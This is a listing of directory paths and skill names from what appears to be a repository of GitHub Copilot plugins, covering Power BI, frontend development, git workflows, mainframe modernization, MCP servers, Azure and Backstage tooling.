harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-design - powerbi-report-management
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-management - powerbi-report-planning
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-planning - semantic-model-authoring
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring - search-consumption-cli
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/search-consumption-cli - semantic-model-authoring
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/semantic-model-authoring - spark-cli
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/spark-cli - sqldb-cli
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/sqldb-cli - sqldw-cli
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/sqldw-cli - synapse-migration
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/synapse-migration - variable-library-cli
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/variable-library-cli - geofeed-tuner
harness/github-copilot/plugins/fastah-ip-geo-tools/skills/geofeed-tuner - flowstudio-power-automate-build
harness/github-copilot/plugins/flowstudio-power-automate/skills/flowstudio-power-automate-build - flowstudio-power-automate-debug
harness/github-copilot/plugins/flowstudio-power-automate/skills/flowstudio-power-automate-debug - flowstudio-power-automate-governance
harness/github-copilot/plugins/flowstudio-power-automate/skills/flowstudio-power-automate-governance - flowstudio-power-automate-mcp
harness/github-copilot/plugins/flowstudio-power-automate/skills/flowstudio-power-automate-mcp - flowstudio-power-automate-monitoring
harness/github-copilot/plugins/flowstudio-power-automate/skills/flowstudio-power-automate-monitoring - anti-ui-slop
harness/github-copilot/plugins/frontend-experience/skills/anti-ui-slop - frontend-accessibility
harness/github-copilot/plugins/frontend-experience/skills/frontend-accessibility - frontend-backend-integration
harness/github-copilot/plugins/frontend-experience/skills/frontend-backend-integration - frontend-component-testing
harness/github-copilot/plugins/frontend-experience/skills/frontend-component-testing - frontend-conversational-ui
harness/github-copilot/plugins/frontend-experience/skills/frontend-conversational-ui - frontend-dashboard-visualization
harness/github-copilot/plugins/frontend-experience/skills/frontend-dashboard-visualization - frontend-discoverability-assets
harness/github-copilot/plugins/frontend-experience/skills/frontend-discoverability-assets - frontend-experience-core
harness/github-copilot/plugins/frontend-experience/skills/frontend-experience-core - frontend-form-interactions
harness/github-copilot/plugins/frontend-experience/skills/frontend-form-interactions - frontend-mobile-desktop-testing
harness/github-copilot/plugins/frontend-experience/skills/frontend-mobile-desktop-testing - frontend-project-setup
harness/github-copilot/plugins/frontend-experience/skills/frontend-project-setup - frontend-release-quality-gate
harness/github-copilot/plugins/frontend-experience/skills/frontend-release-quality-gate - frontend-requirements-and-stories
harness/github-copilot/plugins/frontend-experience/skills/frontend-requirements-and-stories - frontend-responsive-adaptation
harness/github-copilot/plugins/frontend-experience/skills/frontend-responsive-adaptation - frontend-test-strategy
harness/github-copilot/plugins/frontend-experience/skills/frontend-test-strategy - frontend-visual-e2e-testing
harness/github-copilot/plugins/frontend-experience/skills/frontend-visual-e2e-testing - frontend-visual-system
harness/github-copilot/plugins/frontend-experience/skills/frontend-visual-system - playwright-explore-website
harness/github-copilot/plugins/frontend-experience/skills/playwright-explore-website - playwright-generate-test
harness/github-copilot/plugins/frontend-experience/skills/playwright-generate-test - premium-frontend-ui
harness/github-copilot/plugins/frontend-experience/skills/premium-frontend-ui - web-design-reviewer
harness/github-copilot/plugins/frontend-experience/skills/web-design-reviewer - playwright-explore-website
harness/github-copilot/plugins/frontend-web-dev/skills/playwright-explore-website - playwright-generate-test
harness/github-copilot/plugins/frontend-web-dev/skills/playwright-generate-test - commit-message-storyteller
harness/github-copilot/plugins/git-github-workflow/skills/commit-message-storyteller - conventional-branch
harness/github-copilot/plugins/git-github-workflow/skills/conventional-branch - copilot-pr-autopilot
harness/github-copilot/plugins/git-github-workflow/skills/copilot-pr-autopilot - dependabot
harness/github-copilot/plugins/git-github-workflow/skills/dependabot - gh-attach
harness/github-copilot/plugins/git-github-workflow/skills/gh-attach - git-commit
harness/github-copilot/plugins/git-github-workflow/skills/git-commit - git-flow-branch-creator
harness/github-copilot/plugins/git-github-workflow/skills/git-flow-branch-creator - github-issues
harness/github-copilot/plugins/git-github-workflow/skills/github-issues - github-release
harness/github-copilot/plugins/git-github-workflow/skills/github-release - gitmoji
harness/github-copilot/plugins/git-github-workflow/skills/gitmoji - issue-fields-migration
harness/github-copilot/plugins/git-github-workflow/skills/issue-fields-migration - make-repo-contribution
harness/github-copilot/plugins/git-github-workflow/skills/make-repo-contribution - pr-dashboard
harness/github-copilot/plugins/git-github-workflow/skills/pr-dashboard - github-actions-efficiency
harness/github-copilot/plugins/github-actions-maintenance/skills/github-actions-efficiency - github-actions-hardening
harness/github-copilot/plugins/github-actions-maintenance/skills/github-actions-hardening - github-actions-runtime-upgrade-conventions
harness/github-copilot/plugins/github-actions-maintenance/skills/github-actions-runtime-upgrade-conventions - go-mcp-server-generator
harness/github-copilot/plugins/go-mcp-development/skills/go-mcp-server-generator - ad-campaign-analyzer
harness/github-copilot/plugins/go-to-market/skills/ad-campaign-analyzer - competitor-ad-intelligence
harness/github-copilot/plugins/go-to-market/skills/competitor-ad-intelligence - gtm-0-to-1-launch
harness/github-copilot/plugins/go-to-market/skills/gtm-0-to-1-launch - gtm-ai-gtm
harness/github-copilot/plugins/go-to-market/skills/gtm-ai-gtm - gtm-board-and-investor-communication
harness/github-copilot/plugins/go-to-market/skills/gtm-board-and-investor-communication - gtm-developer-ecosystem
harness/github-copilot/plugins/go-to-market/skills/gtm-developer-ecosystem - gtm-enterprise-account-planning
harness/github-copilot/plugins/go-to-market/skills/gtm-enterprise-account-planning - gtm-enterprise-onboarding
harness/github-copilot/plugins/go-to-market/skills/gtm-enterprise-onboarding - gtm-operating-cadence
harness/github-copilot/plugins/go-to-market/skills/gtm-operating-cadence - gtm-partnership-architecture
harness/github-copilot/plugins/go-to-market/skills/gtm-partnership-architecture - gtm-positioning-strategy
harness/github-copilot/plugins/go-to-market/skills/gtm-positioning-strategy - gtm-product-led-growth
harness/github-copilot/plugins/go-to-market/skills/gtm-product-led-growth - gtm-technical-product-pricing
harness/github-copilot/plugins/go-to-market/skills/gtm-technical-product-pricing - landing-page-conversion-audit
harness/github-copilot/plugins/go-to-market/skills/landing-page-conversion-audit - server-side-conversion-tracking
harness/github-copilot/plugins/go-to-market/skills/server-side-conversion-tracking - aws-cloudwatch-investigation
harness/github-copilot/plugins/incident-response/skills/aws-cloudwatch-investigation - bug-receipt
harness/github-copilot/plugins/incident-response/skills/bug-receipt - bug-reproduction-brief
harness/github-copilot/plugins/incident-response/skills/bug-reproduction-brief - devops-rollout-plan
harness/github-copilot/plugins/incident-response/skills/devops-rollout-plan - impediment-prioritization
harness/github-copilot/plugins/incident-response/skills/impediment-prioritization - incident-postmortem
harness/github-copilot/plugins/incident-response/skills/incident-postmortem - arduino-azure-iot-edge-integration
harness/github-copilot/plugins/iot-embedded-systems/skills/arduino-azure-iot-edge-integration - azure-smart-city-iot-solution-builder
harness/github-copilot/plugins/iot-embedded-systems/skills/azure-smart-city-iot-solution-builder - legacy-circuit-mockups
harness/github-copilot/plugins/iot-embedded-systems/skills/legacy-circuit-mockups - python-azure-iot-edge-modules
harness/github-copilot/plugins/iot-embedded-systems/skills/python-azure-iot-edge-modules - create-spring-boot-java-project
harness/github-copilot/plugins/java-development/skills/create-spring-boot-java-project - java-docs
harness/github-copilot/plugins/java-development/skills/java-docs - java-junit
harness/github-copilot/plugins/java-development/skills/java-junit - java-springboot
harness/github-copilot/plugins/java-development/skills/java-springboot - create-spring-boot-kotlin-project
harness/github-copilot/plugins/java-kotlin-development/skills/create-spring-boot-kotlin-project - java-add-graalvm-native-image-support
harness/github-copilot/plugins/java-kotlin-development/skills/java-add-graalvm-native-image-support - java-helidon
harness/github-copilot/plugins/java-kotlin-development/skills/java-helidon - java-refactoring-extract-method
harness/github-copilot/plugins/java-kotlin-development/skills/java-refactoring-extract-method - java-refactoring-remove-parameter
harness/github-copilot/plugins/java-kotlin-development/skills/java-refactoring-remove-parameter - javax-to-jakarta-migration
harness/github-copilot/plugins/java-kotlin-development/skills/javax-to-jakarta-migration - kotlin-springboot
harness/github-copilot/plugins/java-kotlin-development/skills/kotlin-springboot - spring-boot-testing
harness/github-copilot/plugins/java-kotlin-development/skills/spring-boot-testing - java-mcp-server-generator
harness/github-copilot/plugins/java-mcp-development/skills/java-mcp-server-generator - kotlin-mcp-server-generator
harness/github-copilot/plugins/kotlin-mcp-development/skills/kotlin-mcp-server-generator - mentoring-juniors
harness/github-copilot/plugins/learning-and-mentoring/skills/mentoring-juniors - arch-linux-triage
harness/github-copilot/plugins/linux-operations/skills/arch-linux-triage - centos-linux-triage
harness/github-copilot/plugins/linux-operations/skills/centos-linux-triage - debian-linux-triage
harness/github-copilot/plugins/linux-operations/skills/debian-linux-triage - fedora-linux-triage
harness/github-copilot/plugins/linux-operations/skills/fedora-linux-triage - cobol-classic-context
harness/github-copilot/plugins/mainframe-cobol-db2-classic/skills/cobol-classic-context - cobol-db2-analysis
harness/github-copilot/plugins/mainframe-cobol-db2-classic/skills/cobol-db2-analysis - code-modernization
harness/github-copilot/plugins/mainframe-cobol-db2-classic/skills/code-modernization - create-architectural-decision-record
harness/github-copilot/plugins/mainframe-cobol-db2-classic/skills/create-architectural-decision-record - db2-postgresql-migration
harness/github-copilot/plugins/mainframe-cobol-db2-classic/skills/db2-postgresql-migration - github-actions-hardening
harness/github-copilot/plugins/mainframe-cobol-db2-classic/skills/github-actions-hardening - java-junit
harness/github-copilot/plugins/mainframe-cobol-db2-classic/skills/java-junit - java-springboot
harness/github-copilot/plugins/mainframe-cobol-db2-classic/skills/java-springboot - legacy-business-rule-extraction
harness/github-copilot/plugins/mainframe-cobol-db2-classic/skills/legacy-business-rule-extraction - legacy-characterization-testing
harness/github-copilot/plugins/mainframe-cobol-db2-classic/skills/legacy-characterization-testing - modernization-workspace-kit
harness/github-copilot/plugins/mainframe-cobol-db2-classic/skills/modernization-workspace-kit - postgresql-code-review
harness/github-copilot/plugins/mainframe-cobol-db2-classic/skills/postgresql-code-review - postgresql-optimization
harness/github-copilot/plugins/mainframe-cobol-db2-classic/skills/postgresql-optimization - sdd-requirements-engineer
harness/github-copilot/plugins/mainframe-cobol-db2-classic/skills/sdd-requirements-engineer - cobol-db2-analysis
harness/github-copilot/plugins/mainframe-cobol-db2/skills/cobol-db2-analysis - cobol-db2-context
harness/github-copilot/plugins/mainframe-cobol-db2/skills/cobol-db2-context - cobol-db2-loop
harness/github-copilot/plugins/mainframe-cobol-db2/skills/cobol-db2-loop - code-modernization
harness/github-copilot/plugins/mainframe-cobol-db2/skills/code-modernization - create-architectural-decision-record
harness/github-copilot/plugins/mainframe-cobol-db2/skills/create-architectural-decision-record - db2-postgresql-migration
harness/github-copilot/plugins/mainframe-cobol-db2/skills/db2-postgresql-migration - github-actions-hardening
harness/github-copilot/plugins/mainframe-cobol-db2/skills/github-actions-hardening - legacy-business-rule-extraction
harness/github-copilot/plugins/mainframe-cobol-db2/skills/legacy-business-rule-extraction - legacy-characterization-testing
harness/github-copilot/plugins/mainframe-cobol-db2/skills/legacy-characterization-testing - modernization-workspace-kit
harness/github-copilot/plugins/mainframe-cobol-db2/skills/modernization-workspace-kit - postgresql-code-review
harness/github-copilot/plugins/mainframe-cobol-db2/skills/postgresql-code-review - postgresql-optimization
harness/github-copilot/plugins/mainframe-cobol-db2/skills/postgresql-optimization - sdd-requirements-engineer
harness/github-copilot/plugins/mainframe-cobol-db2/skills/sdd-requirements-engineer - adabas-postgresql-migration
harness/github-copilot/plugins/mainframe-natural-adabas-classic/skills/adabas-postgresql-migration - code-modernization
harness/github-copilot/plugins/mainframe-natural-adabas-classic/skills/code-modernization - create-architectural-decision-record
harness/github-copilot/plugins/mainframe-natural-adabas-classic/skills/create-architectural-decision-record - github-actions-hardening
harness/github-copilot/plugins/mainframe-natural-adabas-classic/skills/github-actions-hardening - java-junit
harness/github-copilot/plugins/mainframe-natural-adabas-classic/skills/java-junit - java-springboot
harness/github-copilot/plugins/mainframe-natural-adabas-classic/skills/java-springboot - legacy-business-rule-extraction
harness/github-copilot/plugins/mainframe-natural-adabas-classic/skills/legacy-business-rule-extraction - legacy-characterization-testing
harness/github-copilot/plugins/mainframe-natural-adabas-classic/skills/legacy-characterization-testing - modernization-workspace-kit
harness/github-copilot/plugins/mainframe-natural-adabas-classic/skills/modernization-workspace-kit - natural-adabas-analysis
harness/github-copilot/plugins/mainframe-natural-adabas-classic/skills/natural-adabas-analysis - postgresql-code-review
harness/github-copilot/plugins/mainframe-natural-adabas-classic/skills/postgresql-code-review - postgresql-optimization
harness/github-copilot/plugins/mainframe-natural-adabas-classic/skills/postgresql-optimization - sdd-requirements-engineer
harness/github-copilot/plugins/mainframe-natural-adabas-classic/skills/sdd-requirements-engineer - sifap-classic-context
harness/github-copilot/plugins/mainframe-natural-adabas-classic/skills/sifap-classic-context - sifap-classic-orchestration
harness/github-copilot/plugins/mainframe-natural-adabas-classic/skills/sifap-classic-orchestration - sifap-classic-traceability
harness/github-copilot/plugins/mainframe-natural-adabas-classic/skills/sifap-classic-traceability - adabas-postgresql-migration
harness/github-copilot/plugins/mainframe-natural-adabas/skills/adabas-postgresql-migration - code-modernization
harness/github-copilot/plugins/mainframe-natural-adabas/skills/code-modernization - create-architectural-decision-record
harness/github-copilot/plugins/mainframe-natural-adabas/skills/create-architectural-decision-record - github-actions-hardening
harness/github-copilot/plugins/mainframe-natural-adabas/skills/github-actions-hardening - java-junit
harness/github-copilot/plugins/mainframe-natural-adabas/skills/java-junit - java-springboot
harness/github-copilot/plugins/mainframe-natural-adabas/skills/java-springboot - legacy-business-rule-extraction
harness/github-copilot/plugins/mainframe-natural-adabas/skills/legacy-business-rule-extraction - legacy-characterization-testing
harness/github-copilot/plugins/mainframe-natural-adabas/skills/legacy-characterization-testing - modernization-workspace-kit
harness/github-copilot/plugins/mainframe-natural-adabas/skills/modernization-workspace-kit - natural-adabas-analysis
harness/github-copilot/plugins/mainframe-natural-adabas/skills/natural-adabas-analysis - postgresql-code-review
harness/github-copilot/plugins/mainframe-natural-adabas/skills/postgresql-code-review - postgresql-optimization
harness/github-copilot/plugins/mainframe-natural-adabas/skills/postgresql-optimization - sdd-requirements-engineer
harness/github-copilot/plugins/mainframe-natural-adabas/skills/sdd-requirements-engineer - sifap-loop
harness/github-copilot/plugins/mainframe-natural-adabas/skills/sifap-loop - sifap-modernization-context
harness/github-copilot/plugins/mainframe-natural-adabas/skills/sifap-modernization-context - sifap-requirements-traceability
harness/github-copilot/plugins/mainframe-natural-adabas/skills/sifap-requirements-traceability - sifap-workshop-orchestration
harness/github-copilot/plugins/mainframe-natural-adabas/skills/sifap-workshop-orchestration - dotnet-mcp-builder
harness/github-copilot/plugins/mcp-development/skills/dotnet-mcp-builder - mcp-builder
harness/github-copilot/plugins/mcp-development/skills/mcp-builder - mcp-cli
harness/github-copilot/plugins/mcp-development/skills/mcp-cli - mcp-implementation-security-review
harness/github-copilot/plugins/mcp-development/skills/mcp-implementation-security-review - mcp-release-qa
harness/github-copilot/plugins/mcp-development/skills/mcp-release-qa - mcp-security-audit
harness/github-copilot/plugins/mcp-development/skills/mcp-security-audit - webmcpify
harness/github-copilot/plugins/mcp-development/skills/webmcpify - mcp-create-adaptive-cards
harness/github-copilot/plugins/mcp-m365-copilot/skills/mcp-create-adaptive-cards - mcp-create-declarative-agent
harness/github-copilot/plugins/mcp-m365-copilot/skills/mcp-create-declarative-agent - mcp-deploy-manage-agents
harness/github-copilot/plugins/mcp-m365-copilot/skills/mcp-deploy-manage-agents - declarative-agents
harness/github-copilot/plugins/microsoft-365-data-platform/skills/declarative-agents - fabric-lakehouse
harness/github-copilot/plugins/microsoft-365-data-platform/skills/fabric-lakehouse - msgraph-sdk
harness/github-copilot/plugins/microsoft-365-data-platform/skills/msgraph-sdk - powerbi-modeling
harness/github-copilot/plugins/microsoft-365-data-platform/skills/powerbi-modeling - workiq-copilot
harness/github-copilot/plugins/microsoft-365-data-platform/skills/workiq-copilot - napkin
harness/github-copilot/plugins/napkin/skills/napkin - noob-mode
harness/github-copilot/plugins/noob-mode/skills/noob-mode - azure-agentic-architecture-patterns
harness/github-copilot/plugins/open-horizons-platform/skills/azure-agentic-architecture-patterns - azure-api-center
harness/github-copilot/plugins/open-horizons-platform/skills/azure-api-center - azure-apim-ai-gateway
harness/github-copilot/plugins/open-horizons-platform/skills/azure-apim-ai-gateway - azure-appinsights-instrumentation
harness/github-copilot/plugins/open-horizons-platform/skills/azure-appinsights-instrumentation - azure-argocd-cli
harness/github-copilot/plugins/open-horizons-platform/skills/azure-argocd-cli - azure-cli
harness/github-copilot/plugins/open-horizons-platform/skills/azure-cli - azure-cost-optimize
harness/github-copilot/plugins/open-horizons-platform/skills/azure-cost-optimize - azure-draw-io-diagram-generator
harness/github-copilot/plugins/open-horizons-platform/skills/azure-draw-io-diagram-generator - azure-entra-agent-user
harness/github-copilot/plugins/open-horizons-platform/skills/azure-entra-agent-user - azure-helm-cli
harness/github-copilot/plugins/open-horizons-platform/skills/azure-helm-cli - azure-import-infrastructure-as-code
harness/github-copilot/plugins/open-horizons-platform/skills/azure-import-infrastructure-as-code - azure-infrastructure
harness/github-copilot/plugins/open-horizons-platform/skills/azure-infrastructure - azure-kubectl-cli
harness/github-copilot/plugins/open-horizons-platform/skills/azure-kubectl-cli - azure-managed-redis-cache
harness/github-copilot/plugins/open-horizons-platform/skills/azure-managed-redis-cache - azure-observability-stack
harness/github-copilot/plugins/open-horizons-platform/skills/azure-observability-stack - azure-postgre-database-management
harness/github-copilot/plugins/open-horizons-platform/skills/azure-postgre-database-management - azure-pricing
harness/github-copilot/plugins/open-horizons-platform/skills/azure-pricing - azure-resource-health-diagnose
harness/github-copilot/plugins/open-horizons-platform/skills/azure-resource-health-diagnose - azure-role-selector
harness/github-copilot/plugins/open-horizons-platform/skills/azure-role-selector - azure-scaffold-wizard
harness/github-copilot/plugins/open-horizons-platform/skills/azure-scaffold-wizard - azure-terraform-cli
harness/github-copilot/plugins/open-horizons-platform/skills/azure-terraform-cli - azure-terraform-terratest-module-testing
harness/github-copilot/plugins/open-horizons-platform/skills/azure-terraform-terratest-module-testing - azure-well-architected-review
harness/github-copilot/plugins/open-horizons-platform/skills/azure-well-architected-review - backstage-app-frontend-system-migration
harness/github-copilot/plugins/open-horizons-platform/skills/backstage-app-frontend-system-migration - app-frontend-system-migration
harness/github-copilot/plugins/open-horizons-platform/skills/backstage-app-frontend-system-migration/references/upstream - backstage-mui-to-bui-migration
harness/github-copilot/plugins/open-horizons-platform/skills/backstage-mui-to-bui-migration - mui-to-bui-migration
harness/github-copilot/plugins/open-horizons-platform/skills/backstage-mui-to-bui-migration/references/upstream - backstage-onboard-to-openapi-server
harness/github-copilot/plugins/open-horizons-platform/skills/backstage-onboard-to-openapi-server - onboard-to-openapi-server
harness/github-copilot/plugins/open-horizons-platform/skills/backstage-onboard-to-openapi-server/references/upstream - backstage-plugin-analytics-instrumentation
harness/github-copilot/plugins/open-horizons-platform/skills/backstage-plugin-analytics-instrumentation - plugin-analytics-instrumentation
harness/github-copilot/plugins/open-horizons-platform/skills/backstage-plugin-analytics-instrumentation/references/upstream - backstage-plugin-builder
harness/github-copilot/plugins/open-horizons-platform/skills/backstage-plugin-builder - backstage-plugin-full-frontend-system-migration
harness/github-copilot/plugins/open-horizons-platform/skills/backstage-plugin-full-frontend-system-migration - plugin-full-frontend-system-migration
harness/github-copilot/plugins/open-horizons-platform/skills/backstage-plugin-full-frontend-system-migration/references/upstream - backstage-plugin-new-frontend-system-support
harness/github-copilot/plugins/open-horizons-platform/skills/backstage-plugin-new-frontend-system-support - plugin-new-frontend-system-support
harness/github-copilot/plugins/open-horizons-platform/skills/backstage-plugin-new-frontend-system-support/references/upstream - cloud-architecture-best-practices-docs
harness/github-copilot/plugins/open-horizons-platform/skills/cloud-architecture-best-practices-docs - cloud-design-patterns
harness/github-copilot/plugins/open-horizons-platform/skills/cloud-design-patterns - create-llms
harness/github-copilot/plugins/open-horizons-platform/skills/create-llms - foundry-agent-blueprint
harness/github-copilot/plugins/open-horizons-platform/skills/foundry-agent-blueprint - foundry-agent-framework-py-release
harness/github-copilot/plugins/open-horizons-platform/skills/foundry-agent-framework-py-release - foundry-agent-sync
harness/github-copilot/plugins/open-horizons-platform/skills/foundry-agent-sync - foundry-agentic-eval
harness/github-copilot/plugins/open-horizons-platform/skills/foundry-agentic-eval - foundry-ai-operations
harness/github-copilot/plugins/open-horizons-platform/skills/foundry-ai-operations - foundry-claude-api
harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api - foundry-hosted-agent-copilotkit
harness/github-copilot/plugins/open-horizons-platform/skills/foundry-hosted-agent-copilotkit - github-cli
harness/github-copilot/plugins/open-horizons-platform/skills/github-cli - github-codespaces-golden-paths
harness/github-copilot/plugins/open-horizons-platform/skills/github-codespaces-golden-paths - github-copilot-generate-custom-instructions
harness/github-copilot/plugins/open-horizons-platform/skills/github-copilot-generate-custom-instructions - github-copilot-harness-engineering
harness/github-copilot/plugins/open-horizons-platform/skills/github-copilot-harness-engineering - github-copilot-instructions-blueprint-generator
harness/github-copilot/plugins/open-horizons-platform/skills/github-copilot-instructions-blueprint-generator - github-copilot-sdk
harness/github-copilot/plugins/open-horizons-platform/skills/github-copilot-sdk - github-copilot-usage-metrics
harness/github-copilot/plugins/open-horizons-platform/skills/github-copilot-usage-metrics - github-issue-ops
harness/github-copilot/plugins/open-horizons-platform/skills/github-issue-ops - github-pipeline-diagnostics
harness/github-copilot/plugins/open-horizons-platform/skills/github-pipeline-diagnostics - mcp-builder
harness/github-copilot/plugins/open-horizons-platform/skills/mcp-builder - mcp-cli
harness/github-copilot/plugins/open-horizons-platform/skills/mcp-cli - microsoft-agent-framework
harness/github-copilot/plugins/open-horizons-platform/skills/microsoft-agent-framework - microsoft-code-reference
harness/github-copilot/plugins/open-horizons-platform/skills/microsoft-code-reference - microsoft-docs
harness/github-copilot/plugins/open-horizons-platform/skills/microsoft-docs - microsoft-skill-creator
harness/github-copilot/plugins/open-horizons-platform/skills/microsoft-skill-creator - open-horizons-azure-readiness
harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-azure-readiness - open-horizons-backstage-aeg-feature
harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-backstage-aeg-feature - open-horizons-backstage-ai-catalog
harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-backstage-ai-catalog - open-horizons-backstage-app-bootstrap
harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-backstage-app-bootstrap - open-horizons-backstage-app-configuration
harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-backstage-app-configuration - open-horizons-backstage-authentication
harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-backstage-authentication - open-horizons-backstage-catalog
harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-backstage-catalog - open-horizons-backstage-catalog-db-performance
harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-backstage-catalog-db-performance - open-horizons-backstage-core-contribution
harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-backstage-core-contribution - open-horizons-backstage-external-integrations
harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-backstage-external-integrations - open-horizons-backstage-framework
harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-backstage-framework - open-horizons-backstage-kubernetes
harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-backstage-kubernetes - open-horizons-backstage-mcp-actions
harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-backstage-mcp-actions - open-horizons-backstage-notifications
harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-backstage-notifications - open-horizons-backstage-operations
harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-backstage-operations - open-horizons-backstage-permissions
harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-backstage-permissions - open-horizons-backstage-search
harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-backstage-search - open-horizons-backstage-software-templates
harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-backstage-software-templates - open-horizons-backstage-techdocs
harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-backstage-techdocs - open-horizons-backstage-upgrade
harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-backstage-upgrade - open-horizons-brownfield-engineering
harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-brownfield-engineering - open-horizons-deploy-orchestration
harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-deploy-orchestration - open-horizons-deployment-operation
harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-deployment-operation - open-horizons-ears-validate
harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-ears-validate - open-horizons-orchestration
harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-orchestration - open-horizons-portal-integration
harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-portal-integration - open-horizons-prerequisites
harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-prerequisites - open-horizons-security-review
harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-security-review - open-horizons-sre-investigation
harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-sre-investigation - open-horizons-terraform-change
harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-terraform-change - open-horizons-workspace-kit
harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-workspace-kit - python-code-quality
harness/github-copilot/plugins/open-horizons-platform/skills/python-code-quality - python-development
harness/github-copilot/plugins/open-horizons-platform/skills/python-development - python-feature-lifecycle
harness/github-copilot/plugins/open-horizons-platform/skills/python-feature-lifecycle - python-package-management
harness/github-copilot/plugins/open-horizons-platform/skills/python-package-management - python-testing
harness/github-copilot/plugins/open-horizons-platform/skills/python-testing - sdd-requirements-engineer
harness/github-copilot/plugins/open-horizons-platform/skills/sdd-requirements-engineer - openapi-to-application-code
harness/github-copilot/plugins/openapi-to-application-csharp-dotnet/skills/openapi-to-application-code - openapi-to-application-code
harness/github-copilot/plugins/openapi-to-application-go/skills/openapi-to-application-code - openapi-to-application-code
harness/github-copilot/plugins/openapi-to-application-java-spring-boot/skills/openapi-to-application-code - openapi-to-application-code
harness/github-copilot/plugins/openapi-to-application-nodejs-nestjs/skills/openapi-to-application-code - openapi-to-application-code
harness/github-copilot/plugins/openapi-to-application-python-fastapi/skills/openapi-to-application-code - creating-oracle-to-postgres-master-migration-plan
harness/github-copilot/plugins/oracle-to-postgres-migration-expert/skills/creating-oracle-to-postgres-master-migration-plan - creating-oracle-to-postgres-migration-bug-report
harness/github-copilot/plugins/oracle-to-postgres-migration-expert/skills/creating-oracle-to-postgres-migration-bug-report - creating-oracle-to-postgres-migration-integration-tests
harness/github-copilot/plugins/oracle-to-postgres-migration-expert/skills/creating-oracle-to-postgres-migration-integration-tests - migrating-oracle-to-postgres-data-access-code
harness/github-copilot/plugins/oracle-to-postgres-migration-expert/skills/migrating-oracle-to-postgres-data-access-code - migrating-oracle-to-postgres-stored-procedures
harness/github-copilot/plugins/oracle-to-postgres-migration-expert/skills/migrating-oracle-to-postgres-stored-procedures - planning-oracle-to-postgres-migration-integration-testing
harness/github-copilot/plugins/oracle-to-postgres-migration-expert/skills/planning-oracle-to-postgres-migration-integration-testing - reviewing-oracle-to-postgres-migration
harness/github-copilot/plugins/oracle-to-postgres-migration-expert/skills/reviewing-oracle-to-postgres-migration - scaffolding-oracle-to-postgres-migration-test-project
harness/github-copilot/plugins/oracle-to-postgres-migration-expert/skills/scaffolding-oracle-to-postgres-migration-test-project - sponsor-finder
harness/github-copilot/plugins/ospo-sponsorship/skills/sponsor-finder - pcf-development
harness/github-copilot/plugins/pcf-development/skills/pcf-development - phoenix-cli
harness/github-copilot/plugins/phoenix/skills/phoenix-cli - phoenix-evals
harness/github-copilot/plugins/phoenix/skills/phoenix-evals - phoenix-tracing
harness/github-copilot/plugins/phoenix/skills/phoenix-tracing - php-mcp-server-generator
harness/github-copilot/plugins/php-mcp-development/skills/php-mcp-server-generator - shopify-review-triage
harness/github-copilot/plugins/platform-vendor-expertise/skills/shopify-review-triage - power-apps-code-app-scaffold
harness/github-copilot/plugins/power-apps-code-apps/skills/power-apps-code-app-scaffold - power-bi-dax-optimization
harness/github-copilot/plugins/power-bi-development/skills/power-bi-dax-optimization - power-bi-model-design-review
harness/github-copilot/plugins/power-bi-development/skills/power-bi-model-design-review - power-bi-performance-troubleshooting
harness/github-copilot/plugins/power-bi-development/skills/power-bi-performance-troubleshooting - power-bi-report-design-consultation
harness/github-copilot/plugins/power-bi-development/skills/power-bi-report-design-consultation - power-platform-architect
harness/github-copilot/plugins/power-platform-architect/skills/power-platform-architect - mcp-copilot-studio-server-generator
harness/github-copilot/plugins/power-platform-mcp-connector-development/skills/mcp-copilot-studio-server-generator - power-platform-mcp-connector-suite
harness/github-copilot/plugins/power-platform-mcp-connector-development/skills/power-platform-mcp-connector-suite - drawio
harness/github-copilot/plugins/project-documenter/skills/drawio - md-to-docx
harness/github-copilot/plugins/project-documenter/skills/md-to-docx - breakdown-epic-arch
